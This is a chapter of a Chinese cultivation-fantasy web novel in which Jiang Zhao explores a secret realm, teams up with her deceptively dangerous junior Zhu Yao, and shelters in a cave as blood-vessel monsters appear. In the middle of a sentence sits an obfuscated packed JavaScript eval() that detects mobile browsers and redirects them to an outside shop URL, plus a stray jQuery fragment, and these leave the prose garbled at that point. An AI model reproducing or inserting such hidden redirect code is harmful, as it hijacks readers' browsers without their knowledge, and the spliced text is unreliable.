姜昭俯身,自灵域中抽出一柄朴素小剑,手法娴熟利落地采集着地上灵草。
她并未全部取尽,特意留下大半,以供秘境持续繁衍生息。
猩猩亦步亦趋地跟在身后,看着她的举动,长臂抬起挠了挠头,脸上满是困惑不解。
“你为何要薅这些草,味道一点都不好吃,苦苦的。”
它长臂一展,将掌心攥着的灵草递到姜昭眼前,示意给她看。
“你信我,这种草才好吃。”
姜昭直起身,摇了摇头解释道,“采来并非充饥,我有其他用处。”
姜昭还想着再科普一番灵草的用处,旋即想到对方到底是秘境中的原住民,还是不要打破生物规律的好。
这才作罢。
猩猩看了看手中的草,不作吃食,那还能用来作甚。
好奇怪的物。
它看向姜昭的眼神越发怪异,仿佛碰上了什么匪夷所思的事一般。
片刻之后身形一转,黝黑的身影一下蹿进密林之中。
几息之间便消失在丛林深处,再无踪影。
只余下阵阵悠远兽鸣回荡在林间。
姜昭一时无言。
“我没看错吧,我竟然从一只猩猩眼里看到了鄙夷?”
这怎么还带物种歧视的啊?
尊重饮食文化好不好!
吃草的同学请不要打扰不吃草的同学。
姜昭无奈失笑,索性眼不见心不烦,摒除杂念,继续探索秘境深处。
倏然,耳尖微微一动,敏锐地捕捉到一丝熟悉的声音。
她当即敛息潜行,一路小心谨慎地向着声音来处走去。
姜昭轻手轻脚地扒开层层枝叶,只露出一双清亮的眸子,静静窥探着外围光景。
视线尽头横亘着一汪深潭,潭水极绿,静谧无波,透着一股说不出的诡异。
潭边,祝尧正苦着一张脸,手中紧紧握着一柄长剑。
“你不要过来啊!”
他面色窘迫,语气格外慌张。
剑身澄澈通透,无论是从材质还是形制,皆是一把难得的上品灵剑。
青蛇竖瞳微眯,生出几分嗤笑。
只可惜在他手中,发挥不出全部实力。
青蛇吐着猩红的信子,缓缓向前爬行,碧色青瞳中满是贪婪,眼前少年与它而言,早已化为盘中之餐。
肉质肥而不柴,鲜美多汁,定能让它饱餐一顿。
青蛇身躯弓起,骤然张大蛇口,一股血腥之气扑面而来,森森獠牙泛着刺骨的寒光。
还未待挨上少年一寸,一道雪亮剑光闪过,蛇身便被凌厉剑气无情地斩断。
青蛇身躯一分两半,还在地上不断痉挛抽搐,尾巴无力地扫过地面,缓缓失去生息,再无半点动静。
少年垂眸注视着染血的剑身,轻轻叹了一口气,语气淡然。
“都说了不要过来了。”
他抬手,缓缓擦拭剑尖鲜血。
几息间,剑身便光洁如初,仿佛不曾开过杀戒一般。
末了,他指尖温柔地抚上剑尖,颇有些爱怜。
“这下好了,弄脏了我的宝贝。”
姜昭大为震撼,在宗门时间这么久,她还真没见过他这副模样。
合着竟还真是个白切黑。
果然,师兄诚不欺我。
“师姐可看够了?”
少年熟悉的嗓音倏然响起,传至姜昭耳中。
祝尧抬眸,目光精准地穿过丛林,直直定在姜昭藏身的方向。
姜昭拨开树叶,自树后缓缓而出。
少年周身的诡异气息缓缓褪去,又恢复成了平日里的模样,尾调微微拉长,语气格外幽怨。
“师姐好狠的心啊,竟然见死不救。”
姜昭脸颊微热,讪笑着回答:“这不是还没来得及,就被祝少爷解决了嘛。”
旋即回过神来,从中品出一丝不对劲来。
她当即问道,“你如今是何修为?”
祝尧垂眸看她,眉眼弯弯,那双狗狗眼湿漉漉,模样看上去纯良无害。
“不多,恰巧比师姐高两个境吧。”
姜昭心头一梗。
可恶,是挑衅啊!
她眼底瞬间燃起熊熊斗志,暗暗发誓,日后一定要加倍刻苦修炼,最起码也要压他一头,不能白担了这声师姐的名头。
虽不知姜昭想到什么,但光看她的眼神,便知她会错了意。
祝尧轻摇了摇头,颇有些无奈。
秘境之中变数难测,危机四伏,两人难得遇上,故而决定结伴而行,彼此间也好有个照应。
祝尧不经意间回头,又对上少女瞟过来的眼神,终于忍不住问道。
“师姐这是干嘛?”
姜昭欲言又止,止言又欲,先打了针预防针。
“我说了你不会打我吧?”
祝尧嘴角抽搐两下,“师姐放心,本公子不是这种人。”
“那就行。”
姜昭随口嘟囔了声,旋即收敛神色,一脸严肃。
“我可以摸摸你的剑吗?”
毕竟,剑修宝贝剑可是出了名的,剑是老婆,是妻子,是妈妈,是身家性命,是一切。
祝尧闻言微怔,唇间勾起一抹笑。
“这有何不可?师姐只管摸便是。”
纤长的手指有些蠢蠢欲动,他话音刚落,姜昭便迫不及待地伸出手来。
就在即将碰上剑身的刹那,听到身侧少年再度开口。
“只是,我的雪华亲近起人来,有些狂野,师姐可要小心些。”
少年笑的人畜无害,语气格外亲切,和平时一般无二。
指尖下方三寸的剑身此时应景地颤栗起来。
姜昭指尖微顿,连忙收回手。
雪华这才渐渐平息下来,停止颤动。
姜昭暗自吐槽了一番:果然还是个黑的!
除了锻造剑身时所需的花费之外,灵剑每年还需定时进行保养,这么一把好剑,也不知需多少灵石才能拿下。
姜昭盘算了下自己剩下的灵石,开口问道,心中不断猜测着,缓缓划过一众数字。
“每年保养需要多少灵石?”
祝少主语气随意,颇为云淡风轻,“不多,也就十万灵石罢。”
不愧是祝家少主,果然财大气粗。
姜昭仿佛受到一万点暴击,身形一僵,世界观受到了极大的震撼。
十万,才只够剑保养一年。
她突然觉得,宗门的小木剑也挺好的,轻便且不易断,重要的是还不花钱,她还可以再用上一些年头。
少女挪了挪脚步,默默地离这把天价宝剑又远了些。
密林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679146|207628||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之中,树影层层叠叠,不断摇晃着,两人埋头赶路,浑然不在意时间流逝。
再度抬眼之际,才惊觉外面早已换了天地。
碧色晴空正淡淡褪去,一轮如血残阳自半空中升起,绯红的霞光透过枝叶缝隙洒落,染上整片密林。
两人已奔波许久,琢磨着天色渐晚,商议着决定寻个合适稳妥的地方筑寨扎营,休养生息一番。
毕竟初到秘境,还不知晓夜晚是何光景,这种情况下,还是小心谨慎些才好。
一路行至密林深处,竟真寻到一处天然洞穴。
两人凝神探查了一番周遭,皆未发觉有灵兽出没的气息,对视一眼,点了点头。
潜至洞穴,才发觉其三面环岩,地势低坳隐蔽,且仅有一道窄小出口,正是绝佳的避险之地。
洞穴中地面厚实干燥,岩洞上壁陡峭光滑。两人捡了些枯枝树叶,堆在洞口处,只留了几处狭窄缝隙,以便探查外界环境。
又从祝尧那搜刮来一枚高阶的防护符篆贴上,这才作罢。
姜昭指尖一打,一抹火光悠悠亮起,她点燃火堆,简易布置了一番便席地坐下。
两人已约好,姜昭守前半夜,祝尧守后半夜。
虽无甚睡意,但秘境之中养精蓄锐至关重要,故而祝尧并未推辞。
他靠着岩壁寻了处坐下,缓缓进入入定之中。
姜昭看着自己对面盘膝打坐的人影,不禁悠悠叹了口气。
想不到,秘境第一天,竟然是跟他一起度过的。
姜昭目光随意地落在观察留的小口上。
篝火跳动着,不时发出“噼啪”声,溅起点点火星,倒映在少女清丽的眼眸中。
残阳早已落下,洞穴之外天地笼上一层淡淡的月华光辉。
少女极慢地眨了眨眼,凝起眸子细细端详了一番洞外,神色一息之间几经变换。
她压低声音,悄声唤了声祝尧。
“你有没有觉得,外面的树颜色好像越来越红了?”
祝尧陡然睁开双眼,一缕暗光划过,转瞬即逝。
视线直直落在枝叶缝隙处。
夜色彻底笼罩秘境,周围一片阒静,仿佛没有生息一般。
这般寂静,恰恰是最大的诡异之处。
秘境之中,草木繁盛,奇珍异兽无所不至,本是一片生机盎然。
现下,却无一丝一毫声响。
仿佛在躲藏什么一般。
祝尧往日里散漫的笑意早已消失不见,脸上凝重至极。
借着缝隙,姜昭清楚地看到一道腥红的身影,自参天巨古树中缓缓而出。
此物四肢格外纤细修长,全身上下没有皮囊,周身缠绕着密密麻麻的红线,在朦胧月色之下缓慢挪动着。
细看之下,才发觉是那根本不是什么红线,而是无数根青红色血管缠绕而成,随着它的呼吸正缓缓起伏跳动。
姜昭呼吸一滞,浑身激起一层细密的疙瘩,感觉内心san值狂掉。
姜昭看不出它是何境界,但从祝尧无比难看的脸色可以看出,此物境界绝对在二人之上,甚至两人联手,恐怕也无一战之力。
此等情况之下,还是不要轻举妄动的好,两人默契的没有动作。
窸窣声接连不断地传来,周遭古树之下,一只只红线妖兽陆续爬出,将天边弯月染上腥红血色。